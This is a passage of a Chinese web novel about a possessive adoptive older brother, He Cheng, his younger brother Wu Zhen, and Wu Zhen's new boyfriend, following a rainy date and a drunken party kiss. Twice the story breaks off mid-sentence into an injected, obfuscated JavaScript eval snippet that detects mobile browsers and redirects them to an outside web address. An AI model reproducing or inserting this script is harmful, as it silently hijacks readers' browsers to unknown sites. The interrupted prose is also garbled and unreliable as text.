【你知道邬真谈恋爱了吗?!】 知道,甚至他是第一个知道的。 【求你了贺诚哥棒打鸳鸯这一次,下辈子我都给你当牛做马!那男的根本就是诓骗邬真啊老爷明鉴!】 一个世界观社会观正常的人,怎么可能做出棒打鸳鸯这种事情。无缘无故,没头没脑,不可理喻。 再者,方奕白和贺诚认识二十几年。如果连这个人贺诚都信不过,对邬真身边的其他人、他不知根底的后男友,贺诚将更是深恶痛绝。 然而—— 贺诚无法忽视他心底的不悦。 想到他最亲最爱的弟弟会有朝一日离开他,有另一个人亲密胜过自己,贺诚胸中妒火就像荆棘一样狂生,然后在某一瞬间尖锐地疯狂地刺痛他,让他猛地冷静下来。 他的占有欲过界了。 贺诚闭眼调整呼吸,再睁眼,他第一眼看到书桌旁的相片。 邬真成人礼的照片摆在那里,灿烂的阳光,空气中的彩片,笑着的邬真,怀里大捧的向日葵,身后簇拥他的朋友。 贺诚拿起相框摩挲了下,静静看了很久,扯了下嘴角,下意识低头轻轻吻了吻邬真的脸颊。 “咚咚——” 门被敲响,贺诚放下相框。 邬真打开门探出头:“哥,我出去一会儿!” 贺诚:“去哪?” 邬真眼睛弯弯,脸贴在门板边,“下雨,我出去逛一逛,顺便送一下我朋友。” 贺诚:“好,小心些,需要我陪你吗?” “不用啦!” 门“嘭”地关上,他风风火火地离开。 室内再次陷入寂静。 贺诚走向窗边。 没过多久,邬真打着雨伞出了门,把他的朋友们送走。 接下来却没有如他所说的“逛一逛”。 穿一身晦气黑色的方奕白等在门外,邬真把手递给他,两个人走进一把伞里。 贺诚安静地看着。 因为他不让方奕白来家里,所以他们就在室外约会。 甚至是下雨天。 贺诚的心脏有些微微酸麻的痛意。 或许他不该那么武断。 他忽然想。 比起他交往的男朋友登堂入室,贺诚更不能接受邬真淋雨感冒。 他不喜欢弟弟生病。 不喜欢邬真变得很可怜。 平时意气风发、干劲儿满满的少年会蔫哒哒地躺在床上,浑身发热软面条一样没力气。会说,“不想吃药。但我知道还是要吃的。我只是想晚一会儿吃,可不可以?” 贺诚的心脏会酸痛到无以复加。 他没有把弟弟照顾好,是他的问题。邬真却不怪他,他不借着生病发脾气,不会说都是哥哥的错,唯一的要求是晚一点吃药。 他也不喜欢邬真这么乖巧,这么听话,显得好像他们之间还有一层隔阂。 是因为贺诚不是他的亲哥哥吗? 是因为他们之间没有血缘吗。 贺诚总是这么想,然后涌现莫大的奇怪的冲动,如果是邬真的亲哥哥,他们拥有完全一致的父母,相同的姓氏,流淌同样的血液…… 邬真会和他更亲密吗? 邬真会更爱他吗? 邬真会觉得和他无法分割吗? 邬真喜欢什么,贺诚总是不留余力地为他找。 邬真想谈恋爱,那么也应该让他谈。 因为自己的嫉妒心影响邬真,是不该有的事情。 贺诚甚至想到,邬真也许会谈到一个和他一样对邬真好的男朋友。 也许他们会结婚……步入婚姻的殿堂。 贺诚握着弟弟的手,在盛开白色百合、茉莉和绣球花的教堂,和最爱的弟弟一起走在红毯上…… 他嘴角微微勾了勾。 然后。 注视弟弟的手放在别人的手心。 旁观他们得到全场的欢呼和祝福。 站在一旁,目送弟弟的幸福从他的生命中远去。 雨水从玻璃上蜿蜒而下,贺诚脸孔在流动的水痕中沉寂地扭曲。 * 邬真没有在外面逗留很久,二十分钟之后回了家。 贺诚站在楼上,看着他往家里走,一边走一边踢水,绿色的伞面在转圈,撒下一圈又一圈淅沥沥的雨水。 楼下的门打开了,再过一会儿,他的门被敲了敲,邬真推开门,探头说:“哥,我回来了!” 贺诚这才意识到自己已经在窗边站了很久。 他回过头,却意外地看到邬真浑身湿透,头发滴滴答答地流水。 邬真耸肩,“有点意外发生。” 贺诚急忙走过去,用椅子上的大毯子裹住邬真搓了搓,“怎么搞的?” 方奕白到底在搞什么? 他压着心里的烦躁吸了口气。 邬真用力甩了下头把脸露出来,仰着脸看贺诚。 贺诚把他眼皮上的水痕擦掉,邬真眯起一边眼睛,眨了两下。 “就算是下雨外面也还是好热,又湿又热。我不会生病的!”邬真被裹成白色的蚕蛹。虽然很热,但邬真喜欢下雨的天气,整个世界看起来都是绿油油的,邬真心满意足地分享,“我在外面看到一只小狗!不对,是大狗。我和它玩了一会儿,嗯,至于我身上……这都是意外,我正打算去洗澡。” 贺诚很清楚刚刚邬真出门在和谁见面。他神经忽然微妙地一跳。 “……狗?” 邬真说:“是啊!下这么大雨还要出来撒欢。可能大狗都比较精力旺盛吧。” 贺诚沉默了下,淡淡地讥讽,方奕白的精力的确很旺盛。 “真的是狗?”他问。 邬真奇怪地睁大眼:“不是狗是什么?” 邬真和方奕白去后山小路逛了逛,路上遇到一只狗。 牵绳的是个年轻男人,拽着绳子刹不住车,被狗带着一路横冲直撞。 大棕狗哈赤哈赤往前冲,扎进池塘里面打滚,变成一只大白狗。 邬真被溅了一腿的水,他跺了跺脚,把腿上的水珠晃下去。 “好凉快。”他说。 方奕白也因为帮邬真挡了一下,半个身子湿透了。 主人更崩溃地连连道歉,“对不起,抱歉,对不起!” 他还很年轻,雨衣全是泥点,深一脚浅一脚地喘着粗气跑过来,看到狼狈的邬真湿哒哒的卷发耷拉下来,站在原地拧上衣的水,愣了下,声音不由得更低了,“真的很抱歉……” 方奕白为了来见邬真,他全副武装从头到脚。是特意搭配的衣服做了造型。甚至喷了香水。 现在变成了一只彻头彻尾的落汤鸡。 但这都不重要。 他皱眉看着黏在邬真身上滴水的衣服,再转头看向陌生人,脸色不虞。 邬真抬起头,豁达道:“没关系,本来我们也是出来玩的。” 他蹲下身,方奕白赶紧把伞举低了点。 阴影笼罩下来,邬真抬头看了看方奕白,低头提了提短裤的裤腿,那上面滴滴答答流水,“嗯,谢谢你!但好像没有打伞的必要了。” 邬真对大狗招招手,“小狗过来!” 主人说:“他叫小爱。” 邬真看了一眼他。忽然觉得这个陌生人的五官有点眼熟。 熟悉感很淡,模糊地分布在他的五官和轮廓中,邬真一时间没想起来。 他转身:“小爱过来。” 小爱哈赤哈赤吐着舌头跑过来,对邬真畅快地叫了两声。邬真毫不介意地笑眯眯用湿乎乎的手搓了一把大狗湿乎乎的脑袋,再被甩了一身水珠。 年轻男人慌乱地把狗拽开:“小爱!老实点!蹲下!” 他看了看邬真。 邬真睫毛挂着水眨眨眼。 年轻男人越发歉意到局促不安,“我刚搬过来,家就在这附近。我去给你们拿干毛巾和几套衣服?” “不用啦。”邬真摇头,“我家也住附近。” 方奕白外套防水,从口袋里掏出没湿掉的纸巾擦擦邬真的脸、小腿和膝盖,“先回家换衣服吧真真,小心别感冒了。” 邬真:“我身体非常好。” 他撸起袖子秀了下肱二头肌。 方奕白顺手捏了捏。 邬真瞪视他:“痒!” 方奕白忍不住笑,湿漉漉的头发一直往下滴水,“好了,好了,铁人也经不住雨淋啊。” 邬真不介意淋雨,只不过他更喜欢凉爽一点的雨、秋天的雨。 夏天的雨有些热,邬真会觉得自己在露天冲热水澡,有一点点奇怪的尴尬。 因为这出插曲,他提前结束和方奕白的约会回到家,方奕白送他回来的路上,邬真还问了方奕白,要不要在他家洗完澡换一身干净衣服再回去。 方奕白忽然顿了下,转头问:“你的衣服吗?” 邬真:“当然是我哥的。” 方奕白的肩围就要比邬真大好多,邬真的衣服他肯定穿不上。 方奕白眼皮抽了下,“呃!不不……那算了,我自己回去处理。” 邬真:“?” 问号从他头顶冒出。 本来就已经很疑惑了,回家之后,哥还问他遇到的是不是真的狗。 不是真的狗还能是什么? 这个世界上有假的狗吗? 邬真不懂,语气犹豫:“应该是真的狗狗,吧?” 贺诚:“……” 他表情没有变化,眉峰微微在压低。 是真的狗狗。 还是真真的狗狗? 他没说话,抱着邬真搓搓他的脑袋。 邬真东倒西歪:“呜哇啊啊。” 贺诚拍拍他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328228|182781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,“去洗澡,小心感冒。” 邬真拍拍他的肩,“去洗澡,小心感冒。” “学我。” “学你。” 贺诚勾了下嘴角,低头亲亲他的侧脸,“不要耽误时间,快点去。” 邬真:“现在亲我是想要我也亲你?” 贺诚:“你会亲吗?” 邬真:“不会,因为这样是上你的当。” 邬真披着毯子笑眯眯地看他,“但哥可以再亲我一下,这样是哥上我的当。” 贺诚的确有点上当。 邬真在这一瞬间有点想起方奕白的吻。他不自觉地对比了下脸颊的触感,截然不同的吻。 紧张的,局促的,不知道手要往哪里放的吻。 还有轻柔的,温和的,熟悉的,属于亲人的吻。 可惜方奕白还亲过他的嘴巴。 但哥没有。 不知道会不会有什么区别。 邬真有点被自己的想法吓到。 他可不是坏孩子啊! * 还在车里用毛巾擦头发的方奕白忽然看到屏幕亮起。 贺诚给他发了消息。 他愕然地扬了下眉毛,点开一看。 死弟控:【当狗好玩吗?】 死弟控:【你让我觉得恶心。】 死弟控:【离我弟远点,真想杀了你。】 男友控怎么你了:【?】 不是。 方奕白有些恼怒。 谁在跟贺诚那个死弟控造谣他在当狗啊? 当狗是什么好事吗? 当狗就只能围着邬真转了。 车也别玩了,事业也别搞了,自己的朋友都被抛到九霄云外去了;家也不回了,梦想也不要了,整天就像狗一样蹲在邬真家门口等他出门就好了。邬真一伸手巴巴儿地就吻上去了,邬真眨一下眼睛满汉全席就端上桌了,邬真发一条消息恨不得从标点符号解析到外太空了! 这对吗,这好吗? 这是一个正常人该有的正常行为吗? 方奕白屏住呼吸,浑身上下忽然噼里啪啦炸开一种奇异的躁动。 不、没什么不对、这太对了。 他沉默了下,回复贺诚。 男友控怎么你了:【有本事报警抓我】 死弟控:【……】 男友控怎么你了:【不能给真真当狗的人生注定失败[鄙视]而你。注定就是一个失败者![鄙视]】 死弟控:【能成为真真的哥哥,我的人生已经赢在起点。】 男友控怎么你了:【所以你能当狗吗?】 死弟控:【你这种人是理解不了的。】 男友控怎么你了:【你能当狗吗?】 死弟控:【亲情不是这样定义的。】 男友控怎么你了:【能当狗吗?能不能?】 贺诚侧脸紧绷,厌烦地把手机丢到一边。 他和这个蠢材根本无话可说! 大雨倾盆,贺诚听着雨声平定心绪,开始整理文件。一错眼,忽然看到桌面报告上清晰可见的一份做狗计划书。 他愕然抽出,发现是商业计划书。 ……真是疯了。 是光线昏暗导致的视觉错觉。 贺诚把桌面的台灯打开,面无表情地摁了摁眉骨,把文件撇开,端起手边的咖啡杯。咖啡没喝到,却尝到一股姜味。 是邬真刚刚喝热姜茶用的杯子。这套杯子是邬真选购的,上面画了一只德牧狗头。 贺诚盯着狗头:“……” 他扭开视线,偏转到书架。 《狗狗行为学!——破解狗狗的一百种行为》 《训练狗狗,这一本就足够了!》 《每条狗都渴望被训!》 贺诚:“……” 他仔细看了看,确定自己没有看错。 碰巧邬真敲门走进来,“我记得我好像有几本书忘记在哥这里!……嗯?哥,你不舒服吗?” 贺诚:“这几本?” 邬真兴高采烈:“哎呀,是的,我刚刚在我的书柜找了好久都没有找到。” 贺诚:“……怎么会突然想到买这个?” 邬真:“因为我最近有点想养狗。” 邬真其实还不确定。养一只狗需要他花费额外的精力和时间,邬真不确定自己能不能做到、有没有足够的耐心,能不能负起责任。 如果可以的话,他想要一只矫健的轻快的狗,最好是黑色,邬真觉得黑色的狗很酷。 黑发黑眸的贺诚:“养狗?” 他语气有些古怪。 邬真抱着书看了两眼,完全没有察觉,取完书就离开,留贺诚独自呆在房间里,思考邬真的教育到底哪里出现了问题。 不。 邬真没有问题。 他的弟弟是全世界最好的弟弟,邬真不可能有错。 所以把方奕白当狗看有错吗? 没错。 方奕白应该感到荣幸。因为不是每个人都有这样的机会。 7.你也流泪吗 邬真的朋友非常多。 他有数不清的精力,动手能力很强,并且总是兴致高昂地帮忙。 有邬真参与的聚会,人不在少数。 以往聚会时,大家谈天说地、聊聊近况,什么都说。 而这次聚会的话题中心却出奇一致—— “你打算和他谈多久?”女生拍着桌子,手指着一旁的方奕白。 方奕白耸肩。 “是不是他胁迫你和他在一起的?” “还是他用了什么妖法!” “试试倒无所谓,但我真的怕他骗你。真真人很好,但是太单纯,这样的性格好人坏人都喜欢!我不得不担心。” “呵呵,他要是不能对你一心一意当牛做马的话不如死了算了。” 包厢里光线暗沉绚丽,邬真靠在沙发上。大屏幕的光闪烁扫在他的脸颊,让他看起来像是一樽淡青色的树妖精。 这样的光线显得他睫毛格外的长。黑发下的绿眼睛有一种明亮到甜美的光泽。 他举手发问,“我有问题!他能怎么骗我?” 邬真望了一眼方奕白。 方奕白很老实地对他笑了下,很快又被邬真的朋友围过来挡住影子。 “男人的把戏可多了。”有人说,“开始装得对你深情不改的样子,其实就是只想玩玩。” 邬真:“可我和奕白哥认识十几年。” “不,别觉得他之前是你十几年的朋友,就这么信任他!有些人对朋友和对恋人的表现截然不同!” 邬真:“哦哦!” 邬真记住了。 “真真。” “嗯?” “你想想他是什么身份?” 邬真:“赛车手?” “对!”朋友靠着邬真倾身过来,表情严肃。 另一位朋友打开手电筒,从下而上为他打光,同样表情严肃。 邬真觉得这样好滑稽。 他们是故意逗他笑的吗?可是看起来表情好认真。 邬真忍住笑,嘴角努力不上翘。 “这个职业就很有问题。圈子很乱不说,他本身就是追求刺激的、喜新厌旧的、不安分的,这样的人怎么能靠得住,怎么能配得上你?” “歪理。” “不歪不歪。”朋友两手抓住邬真的肩膀晃了晃,悲伤地说,“他既然追求刺激和新鲜感,那说明他很可能就是为了刺激才开展这一段关系。他觉得从多年好友突破成情侣好玩,而一旦这种高昂的情绪被满足,他就会表现得乏味。渐渐对你的态度一落千丈,甚至还远远比不上从前!真真,三思啊!” 方奕白:“……?” 不,等等,他没有。 方奕白坐不住,正想起身和他们理论—— 邬真:“但如果觉得好奇和新鲜的人是我呢?” 空气肃然一静。 朋友对视,一本正经地说。 “都朋友了,给真真玩玩是他的福报。” “钱都上供给我们真真,以后为真真赚钱就是方奕白奋斗的目标。” “既然这样的话,那么一周只能亲三次。作为男友要实行做三休四制度,确保我们真真的新鲜感持续。” 他们说到这里,赶在邬真开口前又问,“主要的新鲜感来自什么?” “我们应该从此为核心,做其他规划。” 邬真:“不知道,我还在研究。” “研究?”朋友问,“研究什么。” 邬真托腮喝了口水。 沁人心脾的薄荷味道很适合夏天。他把冰块嚼得嘎嘣响,可见牙尖齿利。 邬真:“和不同人牵手的手感对比有什么不同,以及如何能让一段感情从友情走向爱情。它的契机,过程,实现方法。” 朋友:“那牵牵我的,看和你男朋友有什么不同。” “牵我的,我手没茧子。” 大家嘻嘻哈哈地闹了一阵。 方奕白扯着嘴角,酒水饮料的杯子靠在嘴边,他一杯杯地喝下去。 这些人里面要说没有喜欢邬真因此搅浑水的人,他都不信。 话题很快又转了回来。 “贺诚有没有说什么?”有人打听。 邬真回忆贺诚的表情。 贺诚的表情少有变化。他的性格和邬真截然不同,冷静稳重偶尔有些死板,但要说不同,的确有,但只是一点点。 在邬真提到方奕白的时候总是皱眉。 但以前也会皱眉! 只不过频率变高了一点。 听邬真提到方奕白的时候总是沉默! 嗯,虽然以前也很沉默。 在邬真不说话的时候一直都在盯着他! 尽管以前哥也经常看他。 但是这是因为哥关心他。 邬真小时候太活泼太好动,很容易被路上的所有东西吸引视线。贺诚如果不一直盯着看,邬真很容易跑到犄角旮旯找不见。 邬真觉得贺诚的一切行为都很合理,“他不太开心,但也没说什么。” 朋友倒吸一口凉气。 “那个死弟控居然忍得住?!” “这才是究极意义的邬真全肯定,我真的输了。” “不、大可不必啊!” “我倒是有个小道消息。” 贺诚和邬真有年龄差,和邬真的朋友们自然也是,他们虽然都见过贺诚,但对贺诚着实算不上了解,“我听说,方奕白本来就是贺诚的朋友。” “!” “天,内推。” “这算什么,近水楼台先得月。” “后台真硬。” “这辈子最恨的就是关系户了呵呵呵。” “贺诚哥怎么不内推一下我?” …… 热火朝天的议论氛围之中,大家逐渐都喝了个七荤八素。音量也越来越大。 朋友抱着邬真的腿,眼泪都窝囊地蹭在邬真的膝盖。 “你以后结婚还会和我们出来玩吗?呜呜呜。” “贺诚会让你结婚吗?” “他就是个死弟控臭毒唯,上次毕业典礼,我就是抱你抱得紧了一点,他恨不得把我瞪死。当哥哥了不起啊,不就是投了个好胎。” “我也是!何况那是友谊之拥,我难道是方什么东西的那种混蛋变态,借着友谊的名义暗恋你?” 方奕白一直在被灌酒,醉得头都大了,听到这句话没忍住,“我哪里混蛋变态了?” “……” 邬真呆呆坐在原地,听着乱七八糟的声音,觉得自己的思维迟钝了好多。 邬真忽然开口:“等等……” 他的声音不大,但世界瞬间安静了下来,好像大家潜意识都在等他说话。 数道视线投射在邬真的脸上。 邬真脑袋很晕。汗津津的额头沾湿了头发,抬起杯子看了眼:“这是什么?” 他从刚刚就开始喝这个。 邬真觉得怪好喝的。 但现在他感到乏力,脑袋很变重。这不太对劲。 “……” 噼里啪啦,叮叮当当。 朋友们迅速起身。 方奕白也爬起来赶到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343363|182781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “酒!” “我的天!真真你喝了多少?” “没事儿吧?” 邬真只穿一件单薄的黑T,整个人被衬得单薄消瘦白得发光,因此酒后的红色上脸非常明显。 他就这么顶着一张红苹果脸看着人。卷发贴在脸上,绿眼睛有种灵性。 被人抱着脸,对方感叹:“好烫!你还好吗?” 邬真:“唔。” 他被挤了挤脸颊,迟钝地眨了下眼睛。 “我的睫毛好像在流汗……” 他奇怪地说。 邬真的睫毛长得很好。 如果去农场看过小羊小马小猫小狗的睫毛,会发现邬真的睫毛比起人更像小动物。 长而且直,疏密有致,小刷子一样直直地挡着瞳孔。带来一种淡淡的锋利感。现在被水泽浸湿,好几簇黏在一起,眼睛在这种雨露中像春天的夜晚。 朋友刚想帮邬真擦擦,被方奕白一把挤开。 高大的青年弯下腰,忍着头晕胀痛用纸巾擦邬真的泪水,焦急道,“不是流汗,你在流眼泪。没事吧?” 他急忙低头,用额头仔细感受邬真的体温。 邬真顺势贴贴他的脸。 温热的,带着小麦酒和薄荷香气的气息扑在他的脸上,失控的泪水从承不住重量的长长睫毛上一颗颗地砸下来。 顺着方奕白的侧脸滑到下巴。 再滴到他的手背。 啪嗒。 方奕白的呼吸发抖,他怔住,回过神,把距离拉开。 “不,不,我没事,”邬真睫毛还湿湿的,脸上忽然露出灿烂的笑容,开朗道,“我觉得还挺好喝的……” 哐。 他栽倒在方奕白的手心。 软软的头发滑在手腕上往下落。 邬真:“呼……” 朋友:“啊??” 一片慌乱的脚步声靠近。 方奕白僵在原地,感受到邬真湿热的呼吸从指缝中喘出去,手一直在抖,心脏软得能塌下去。 要死了。 他真的、感觉要死了。 脸上的湿痕残留下奇怪的感觉,下巴尖甚至还悬着一滴,他的心脏一直在发疯般狂跳。 邬真觉得好困,但是他好像还有什么话没有说。 他抬起头。 “我流了好多眼泪。”邬真昏昏沉沉,“对不起,好像都把你的脸打湿了……” 这句话的声音越来越轻。 邬真被兜着脸睡着了。 * 方奕白在给贺诚打电话。 电话那头,背景音是脚步声,文件整理窸窸窣窣的声音。 方奕白话音很镇定,“真真有点喝醉了,你在忙?你要是忙的话我打车送他回家也——” 贺诚的呼吸顿住,“我马上来。” “你知道在哪?” 贺诚:“我怎么会不知道。” 电话被飞快挂断。 方奕白看着黑掉的手机屏幕,上面反射出他脸部的轮廓。 半晌,他笑了声。 方奕白不知道自己为什么要笑,也许他到现在都没办法完全平复下来。 心脏砰砰乱跳。 他想起邬真脸颊的柔软,想起邬真的眼泪。 温热的眼泪,顺着他的睫毛滴淌到方奕白的脸颊上。 像是温柔的雨。 本该经过一番诚恳的乞求才降临的。 方奕白有点七荤八素地深呼吸,看了一眼时间,又看了一眼在一旁沙发垫上睡着的邬真,由衷希望贺诚来得再晚一点。 8.你也无解吗 下着小雨。 漆黑的车门打开,贺诚的保镖收伞让他进入酒店。男性肩膀宽阔,逼近一米九的身高和结实的体型让他给人不小的压力。 他一路快步走过包厢,肩膀湿透地推开门。 室内很安静,因为邬真已经睡着了。 乱糟糟的光线肆意倾泻,空气中弥漫着酒精和躁动的气味。 见他进来,其他人也起身轻声和他打招呼。 “贺诚哥!” “你来的好快……没闯红灯吧?” “真真喝醉了在睡觉,你要不要去租个担架进来。” “轮椅也行。” “不然我帮你抱着邬真送出去,我力气很大。” 贺诚谁都没有理会,目光第一秒就锁定在了弟弟的身上。这很好找,因为邬真被团团围住。 他正在沙发上呼呼大睡,半张侧脸埋在卷发里。 他状态似乎还好。 可想而知做了个不错的梦,眼弧弯起。 比起方奕白发给他的照片里,脸上的潮红也褪去许多。 贺诚松口气,紧拧的眉峰松懈,随后才注意到坐在邬真对面的方奕白。 他们对视一眼。 贺诚眉眼压低,没有说话。他对自己这位多年发小有不小的怨怼。 上次邬真和他雨天约会,回家来一身连汤带水。 今天邬真和他一起聚会,又醉成这样。 这是男朋友吗。 还是带来不幸的乌鸦精。 贺诚压住烦躁,不打算耽误时间,径直靠近邬真并俯身,领带垂坠,低头抱着弟弟准备把他带走。 酒精上头到视线都浑浊的方奕白就这样看着贺诚的手往邬真的腰身上搂。 贺诚力度很轻,搂着邬真的时候手指收紧,腰部的褶皱被搂出来。 他知道要怎么抱,抱得邬真一点反应也没有。 比方奕白要熟悉的多。 很正常,贺诚和邬真一起长大,从小抱到大也正常。 方奕白的确喝醉了,醉得稀里糊涂,甚至越来越醉。酒精作用下,他心里不知为何重重地跳了下。 贺诚正准备使力,邬真睁开眼睛。绿海一般的眼睛看向他。 贺诚停顿一瞬。 其他人还有点不太甘心。 “这就走了?” “我点了解酒的,待会儿就到了,让真真喝完再走吧。” 邬真觉得自己好像浸泡在一个大水泡里,全世界都是叽里咕噜的声音。 眼前的人好高,邬真的视线都因为他挡住光亮而暗下来。他在说什么,邬真喃喃地反问,“什么?我听不清。” 对方又靠近了一点。 邬真还是听不清,平时相当机敏的脑袋都不带转一下,抓着对方的胳膊昏昏沉沉抬起头。 贺诚以为他要说什么,再次靠近了些,“怎么了……!” 脸颊轻飘飘地热了一下。 贺诚心口吃重地用力一坠。忽然后脑发麻,有一种警惕的知觉开始刺扎他的神经,他愣住,下意识看向邬真。 邬真绿色的眼睛湿挨着一层雾,他根本不知道自己在做什么。 失神的眼睛,空洞的表情。脸上的酒后酡红分明清洗。嘴唇依然挨过来,细密的吻带着清爽的薄荷酒气息像柔软的雨点烙在他的脸上。 呼吸,热度,可怕的清晰。 不…… 不可以。 他们不可以。 贺诚很爱邬真,非常爱,他关心爱护疼爱,然而是亲情的爱,并不是…… 贺诚喉结滚动,周围人的视线和倏然间诡异的安静针扎似的剐他的皮,他却越发僵硬着无法挪开,“真真!” 邬真对他的呼喊毫无判断力。 柔软的嘴唇烙在他的脸颊。 贺诚骨相略显硬朗,邬真的嘴唇似乎被骨头硌到,下意识地软软往下蹭偏移。 这样的偏移太过危险。 贺诚迅速别开头,“成何体统!” 他阻止不了邬真的吻。 下颌吻到下巴甚至都要临近嘴角。 贺诚的瞳孔剧烈收缩颤动,半边脸都热了起来,烧得他的皮都快化了。他牙齿紧咬,“不可理喻!” 邬真听到吵杂的声音响起,却无法汇聚成具体的声音被捕捉。 他感觉好热。喉咙热,嘴巴热,眼睛也热,他几乎整个人都要烧起来了。 “真真。”贺诚手背青筋明显,按着邬真肩膀的手都在发抖,“你睁眼看看我是谁?” 邬真没有回答。 贺诚的心脏哪怕是死一样冰冷的铁块,也要被融化成铁水。 他僵硬无比地扶着邬真的肩膀,当然,他只是怕弟弟摔倒。 他对弟弟并没有那样的心情。弟弟自然也没有。 他们是关系很好的兄弟。 然而可怕的是,这样的姿势看起来甚至是他在默许、他在等待、他在享受,他贪恋到甚至忍不住闭上眼睛,去感受属于邬真的气息味道每一次心跳。 别人会怎么看他们? 尤其是那些不清楚他和邬真并非亲兄弟的人。 看到他在接受邬真的吻会想什么? 现在的安静意味着什么。 这太荒唐了…… 贺诚的大脑一片聒噪的嗡鸣,熔炉般的热汽腾腾蔓延,心脏也几乎要融化了一般。 一切发生得太快。 他都没有反应的时间。 等回过神,他才想起…… 方奕白也在现场。 他立刻更加如芒在背。 他僵在原地,感受湿润的吻,带着淡淡酒味胡乱贴在脸颊嘴角,盖章似的一个又一个。 是看着长大的弟弟,是关系很好的弟弟。 他们不可以。 弟弟的男友甚至在看。 他们绝对不可以。 但是。 真的…很爽。 贺诚在这瞬间,觉得前面数天的焦虑烦躁不安和忐忑烟消云散。然而嫉妒还在飙升。 邬真平时也是这样亲吻方奕白的吗? 贺诚根本没有得到过几次的待遇,方奕白只因为是邬真的男友就可以拥有吗? 邬真…… 他几乎神志不清,也像醉了一般。 唇角的热意猛地让他清醒。 他立刻捂住邬真的嘴唇,心有余悸。 ……如果不阻拦……邬真就快要在他的男朋友面前,亲吻到他的嘴唇。 这绝对不可以。 贺诚不能让邬真做这样的事,背负这样的责任。 他的心脏忽然涌起一股酸麻的电流,让他忍不住提了口气。 他之前从没想到过,弟弟的嘴唇是什么触感。 但现在知道了。 一但知道,他就忍不住去想,这个吻如果真的印在他的嘴唇上—— 贺诚面无表情,黑发湿润,看着邬真。太阳穴上粗硬的青筋猛跳了一下,强烈的罪责感和歉疚让他闭上眼睛。 “……贺、诚。” 一道声音在喊他的名字。 贺诚眉梢动了下,撩开眼皮,原本坐在对面的方奕白不知道什么时候已经走到他的背后,一张脸上挂满冷色。 在那瞬间贺诚感受到的是什么? 朋友对他心生怨怼的愧疚。 还是他和弟弟的亲吻被弟弟男友撞破的难堪,对自身道德的审判和追究。 还是…… 所有的嫉妒被推翻。 微妙的,错误的,难以抵抗,直通脑髓的爽。 他和方奕白对视,湿润的黑发扎着他的眉弓眼皮,在安静的时间里,紧绷的侧脸忽地放松了一下。 贺诚不确定自己的嘴角是不是勾动了一下。 但他看到方奕白的脸色忽然之间变得很难看,拳头也攥紧,骨节挨挤着嘎嘣作响。 …… 恐怖的氛围。 邬真的朋友面面相觑。 贺诚难看的表情俨然是在生气,甚至一副气疯了的表现。 的确,邬真一直以来都是乖宝宝形象。 他不抽烟不喝酒好好完成每次作业,待人友善脾气豁达乐观,贺诚如果始终以这样的形象要求邬真,那么对邬真醉酒后这样的表现一定会生气。 他们甚至都有点担心贺诚把邬真带回家之后要训斥他。 见气氛僵硬,朋友忍不住劝:“贺诚哥,是我们没注意真真什么时候喝的酒。” “你千万别怪他,他也是不小心。” “还是说你是因为他亲你在生气啊?” 贺诚猛地转头看过去。 “不就是亲两下,我还巴不得真真亲我……” “就是啊,兄弟之间亲两下怎么了。” 他们调节氛围。 其实根本没人觉得邬真亲了贺诚有什么不对。 他们是兄弟。 这么多年的感情都被大家看在眼里。 亲密?的确如此。然而这种亲密却谈不上多么过界。 再者,对一个喝醉的酒鬼要求太多也未免太过于苛刻。 大多数人都这么想。 ——除了方奕白。 方奕白是对这对兄弟最熟悉的人。 甚至超过他俩忙碌不着家的父母。 他清楚地知道贺诚对邬真的爱和占有欲,尽管是货真价实的兄弟情谊,也有过于可耻的嫉妒心。 看邬真亲贺诚,他酒都瞬间醒了大半,背后都是淋漓的冷汗,视线紧盯着邬真的嘴唇,才刚走一步,大脑的钝痛瞬间袭来。 他知道邬真有多讨人喜欢,哪怕贺诚对他……也是人之常情。他打了个冷战,又反驳自己“但无论如何他们都是兄弟!”画面带着洇湿的妒火般在他眼前重播。 这一切发生太快,不过短短几秒,酒后迟钝过头的方奕白大脑和关节如同上了锈,甚至根本来不及阻止。 他知道邬真的嘴唇有多柔软。 这个吻,现在落在邬真哥哥的脸上。 而贺诚没有躲。 奇怪…… 不对,不奇怪。 他没有躲并不奇怪,他们是兄弟,不躲也正常。 何况邬真和贺诚的关系这么好……也许他靠近的时候,贺诚根本没有意识到这是需要躲开的事情,他根本想不到这会是一个吻。 可是第二个吻第三个吻呢? 他们已经成年了,他怎能不躲?!起码方奕白不会容忍自己的弟弟这么亲他!他会觉得恶心,他会感到烦躁。 对峙的电火花在空气中噼里啪啦作响。 其他人不免担心地看向邬真。 贺诚不是什么好相处的人,从来称不上平易近人。 果然是恐怖的脸色。 风雨欲来的样子,看的人心底一慌,毛骨悚然。尤其是他看着邬真的眼神,黑得过头,浓得流浆。在光线下手背嶙峋的影子清晰可见,面无表情,却显然是气疯了的表情。 贺诚开口:“今天我先把他带回去休息。” 其他人只好不再拦,依依不舍七嘴八舌地回答,方奕白忽然道,“我用不用跟着一起?” 贺诚看向他,两双黑色的眼睛对视。 气氛很诡异地僵硬了下。 “不用。”贺诚很客气地勾了下嘴角,眼里不带多少笑意,“多谢。” 方奕白也笑着,一双褐色的眼睛沉浮闪烁,站起来稳稳扶住邬真另一边的手臂,“都兄弟,别客气。” 邬真醉得不轻,耷拉脑袋一言不发,他们的微妙氛围和争执半点没有进入他的耳朵。 